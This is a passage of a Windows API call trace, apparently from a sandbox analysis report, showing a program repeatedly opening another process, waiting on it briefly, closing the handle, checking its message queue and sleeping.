(dwMilliseconds=0x1) [0114.529] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6fc [0114.529] WaitForSingleObject (hHandle=0x6fc, dwMilliseconds=0xa) returned 0x102 [0114.544] CloseHandle (hObject=0x6fc) returned 1 [0114.545] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.545] Sleep (dwMilliseconds=0x1) [0114.560] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6fc [0114.560] WaitForSingleObject (hHandle=0x6fc, dwMilliseconds=0xa) returned 0x102 [0114.576] CloseHandle (hObject=0x6fc) returned 1 [0114.576] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.576] Sleep (dwMilliseconds=0x1) [0114.591] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x748 [0114.591] WaitForSingleObject (hHandle=0x748, dwMilliseconds=0xa) returned 0x102 [0114.607] CloseHandle (hObject=0x748) returned 1 [0114.607] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.607] Sleep (dwMilliseconds=0x1) [0114.631] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x748 [0114.631] WaitForSingleObject (hHandle=0x748, dwMilliseconds=0xa) returned 0x102 [0114.638] CloseHandle (hObject=0x748) returned 1 [0114.638] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.638] Sleep (dwMilliseconds=0x1) [0114.654] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x748 [0114.654] WaitForSingleObject (hHandle=0x748, dwMilliseconds=0xa) returned 0x102 [0114.674] CloseHandle (hObject=0x748) returned 1 [0114.674] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.674] Sleep (dwMilliseconds=0x1) [0114.686] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x7fc [0114.686] WaitForSingleObject (hHandle=0x7fc, dwMilliseconds=0xa) returned 0x102 [0114.700] CloseHandle (hObject=0x7fc) returned 1 [0114.701] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.701] Sleep (dwMilliseconds=0x1) [0114.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x7fc [0114.716] WaitForSingleObject (hHandle=0x7fc, dwMilliseconds=0xa) returned 0x102 [0114.732] CloseHandle (hObject=0x7fc) returned 1 [0114.732] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.732] Sleep (dwMilliseconds=0x1) [0114.747] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x8b0 [0114.747] WaitForSingleObject (hHandle=0x8b0, dwMilliseconds=0xa) returned 0x102 [0114.763] CloseHandle (hObject=0x8b0) returned 1 [0114.763] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.763] Sleep (dwMilliseconds=0x1) [0114.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x8cc [0114.779] WaitForSingleObject (hHandle=0x8cc, dwMilliseconds=0xa) returned 0x102 [0114.794] CloseHandle (hObject=0x8cc) returned 1 [0114.794] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.794] Sleep (dwMilliseconds=0x1) [0114.810] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x8cc [0114.810] WaitForSingleObject (hHandle=0x8cc, dwMilliseconds=0xa) returned 0x102 [0114.826] CloseHandle (hObject=0x8cc) returned 1 [0114.826] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.826] Sleep (dwMilliseconds=0x1) [0114.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x8cc [0114.841] WaitForSingleObject (hHandle=0x8cc, dwMilliseconds=0xa) returned 0x102 [0114.861] CloseHandle (hObject=0x8cc) returned 1 [0114.861] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.861] Sleep (dwMilliseconds=0x1) [0114.872] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x924 [0114.872] WaitForSingleObject (hHandle=0x924, dwMilliseconds=0xa) returned 0x102 [0114.888] CloseHandle (hObject=0x924) returned 1 [0114.888] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.888] Sleep (dwMilliseconds=0x1) [0114.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x940 [0114.904] WaitForSingleObject (hHandle=0x940, dwMilliseconds=0xa) returned 0x102 [0114.919] CloseHandle (hObject=0x940) returned 1 [0114.919] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.919] Sleep (dwMilliseconds=0x1) [0114.937] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x978 [0114.937] WaitForSingleObject (hHandle=0x978, dwMilliseconds=0xa) returned 0x102 [0114.950] CloseHandle (hObject=0x978) returned 1 [0114.950] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.950] Sleep (dwMilliseconds=0x1) [0114.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x984 [0114.966] WaitForSingleObject (hHandle=0x984, dwMilliseconds=0xa) returned 0x102 [0114.981] CloseHandle (hObject=0x984) returned 1 [0114.981] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.982] Sleep (dwMilliseconds=0x1) [0114.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x9b8 [0114.997] WaitForSingleObject (hHandle=0x9b8, dwMilliseconds=0xa) returned 0x102 [0115.013] CloseHandle (hObject=0x9b8) returned 1 [0115.013] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.013] Sleep (dwMilliseconds=0x1) [0115.032] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x9e4 [0115.032] WaitForSingleObject (hHandle=0x9e4, dwMilliseconds=0xa) returned 0x102 [0115.044] CloseHandle (hObject=0x9e4) returned 1 [0115.044] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.044] Sleep (dwMilliseconds=0x1) [0115.060] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x9e4 [0115.060] WaitForSingleObject (hHandle=0x9e4, dwMilliseconds=0xa) returned 0x102 [0115.075] CloseHandle (hObject=0x9e4) returned 1 [0115.075] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.075] Sleep (dwMilliseconds=0x1) [0115.091] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xa7c [0115.091] WaitForSingleObject (hHandle=0xa7c, dwMilliseconds=0xa) returned 0x102 [0115.106] CloseHandle (hObject=0xa7c) returned 1 [0115.106] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.106] Sleep (dwMilliseconds=0x1) [0115.122] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xa7c [0115.122] WaitForSingleObject (hHandle=0xa7c, dwMilliseconds=0xa) returned 0x102 [0115.137] CloseHandle (hObject=0xa7c) returned 1 [0115.137] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.137] Sleep (dwMilliseconds=0x1) [0115.158] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.158] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.199] CloseHandle (hObject=0xad0) returned 1 [0115.199] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.199] Sleep (dwMilliseconds=0x1) [0115.220] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.220] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.233] CloseHandle (hObject=0xad0) returned 1 [0115.233] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.233] Sleep (dwMilliseconds=0x1) [0115.247] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.247] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.272] CloseHandle (hObject=0xad0) returned 1 [0115.272] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.272] Sleep (dwMilliseconds=0x1) [0115.292] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.292] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.293] CloseHandle (hObject=0xad0) returned 1 [0115.293] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.293] Sleep (dwMilliseconds=0x1) [0115.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.310] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.356] CloseHandle (hObject=0xad0) returned 1 [0115.356] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.356] Sleep (dwMilliseconds=0x1) [0115.382] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.382] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.387] CloseHandle (hObject=0xad0) returned 1 [0115.387] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.387] Sleep (dwMilliseconds=0x1) [0115.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.403] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.418] CloseHandle (hObject=0xad0) returned 1 [0115.418] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.418] Sleep (dwMilliseconds=0x1) [0115.434] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.434] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.449] CloseHandle (hObject=0xad0) returned 1 [0115.450] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.450] Sleep (dwMilliseconds=0x1) [0115.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.465] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.481] CloseHandle (hObject=0xad0) returned 1 [0115.481] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.481] Sleep (dwMilliseconds=0x1) [0115.496] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.496] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.512] CloseHandle (hObject=0xad0) returned 1 [0115.512] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.512] Sleep (dwMilliseconds=0x1) [0115.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.528] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.543] CloseHandle (hObject=0xad0) returned 1 [0115.543] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.543] Sleep (dwMilliseconds=0x1) [0115.558] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.559] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.574] CloseHandle (hObject=0xad0) returned 1 [0115.574] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.574] Sleep (dwMilliseconds=0x1) [0115.590] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.590] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.605] CloseHandle (hObject=0xad0) returned 1 [0115.605] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.605] Sleep (dwMilliseconds=0x1) [0115.621] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.621] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.637] CloseHandle (hObject=0xad0) returned 1 [0115.637] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.637] Sleep (dwMilliseconds=0x1) [0115.652] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.652] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.668] CloseHandle (hObject=0xad0) returned 1 [0115.668] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.668] Sleep (dwMilliseconds=0x1) [0115.683] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.684] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.699] CloseHandle (hObject=0xad0) returned 1 [0115.699] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.699] Sleep (dwMilliseconds=0x1) [0115.715] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.715] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.730] CloseHandle (hObject=0xad0) returned 1 [0115.730] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.730] Sleep (dwMilliseconds=0x1) [0115.777] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.777] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.824] CloseHandle (hObject=0xad0) returned 1 [0115.824] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.824] Sleep (dwMilliseconds=0x1) [0115.880] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0115.880] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0115.917] CloseHandle (hObject=0xad0) returned 1 [0115.917] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0115.917] Sleep (dwMilliseconds=0x1) [0116.003] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.003] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.011] CloseHandle (hObject=0xad0) returned 1 [0116.011] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.011] Sleep (dwMilliseconds=0x1) [0116.058] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.058] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.098] CloseHandle (hObject=0xad0) returned 1 [0116.098] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.098] Sleep (dwMilliseconds=0x1) [0116.105] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.105] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.122] CloseHandle (hObject=0xad0) returned 1 [0116.122] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.122] Sleep (dwMilliseconds=0x1) [0116.141] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.141] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.152] CloseHandle (hObject=0xad0) returned 1 [0116.152] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.152] Sleep (dwMilliseconds=0x1) [0116.168] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.168] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.183] CloseHandle (hObject=0xad0) returned 1 [0116.183] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.183] Sleep (dwMilliseconds=0x1) [0116.198] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.198] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.214] CloseHandle (hObject=0xad0) returned 1 [0116.214] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.214] Sleep (dwMilliseconds=0x1) [0116.229] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.229] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.281] CloseHandle (hObject=0xad0) returned 1 [0116.281] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.281] Sleep (dwMilliseconds=0x1) [0116.323] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.323] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.370] CloseHandle (hObject=0xad0) returned 1 [0116.370] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.370] Sleep (dwMilliseconds=0x1) [0116.385] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.385] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.435] CloseHandle (hObject=0xad0) returned 1 [0116.435] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.435] Sleep (dwMilliseconds=0x1) [0116.479] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.479] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.539] CloseHandle (hObject=0xad0) returned 1 [0116.539] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.539] Sleep (dwMilliseconds=0x1) [0116.543] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0116.543] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0116.568] CloseHandle (hObject=0xad4) returned 1 [0116.568] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.569] Sleep (dwMilliseconds=0x1) [0116.573] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.573] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.608] CloseHandle (hObject=0xad0) returned 1 [0116.608] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.608] Sleep (dwMilliseconds=0x1) [0116.625] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.625] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.638] CloseHandle (hObject=0xad0) returned 1 [0116.638] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.638] Sleep (dwMilliseconds=0x1) [0116.651] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0116.651] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0116.677] CloseHandle (hObject=0xad4) returned 1 [0116.677] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.677] Sleep (dwMilliseconds=0x1) [0116.688] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0116.688] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0116.711] CloseHandle (hObject=0xad4) returned 1 [0116.711] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.711] Sleep (dwMilliseconds=0x1) [0116.720] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0116.720] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0116.729] CloseHandle (hObject=0xad4) returned 1 [0116.729] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.729] Sleep (dwMilliseconds=0x1) [0116.745] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.745] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.773] CloseHandle (hObject=0xad0) returned 1 [0116.773] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.773] Sleep (dwMilliseconds=0x1) [0116.800] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.800] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.809] CloseHandle (hObject=0xad0) returned 1 [0116.809] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.809] Sleep (dwMilliseconds=0x1) [0116.828] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0116.828] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0116.838] CloseHandle (hObject=0xad4) returned 1 [0116.838] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0116.838] Sleep (dwMilliseconds=0x1) [0116.854] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0116.854] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0116.894] CloseHandle (hObject=0xad0) 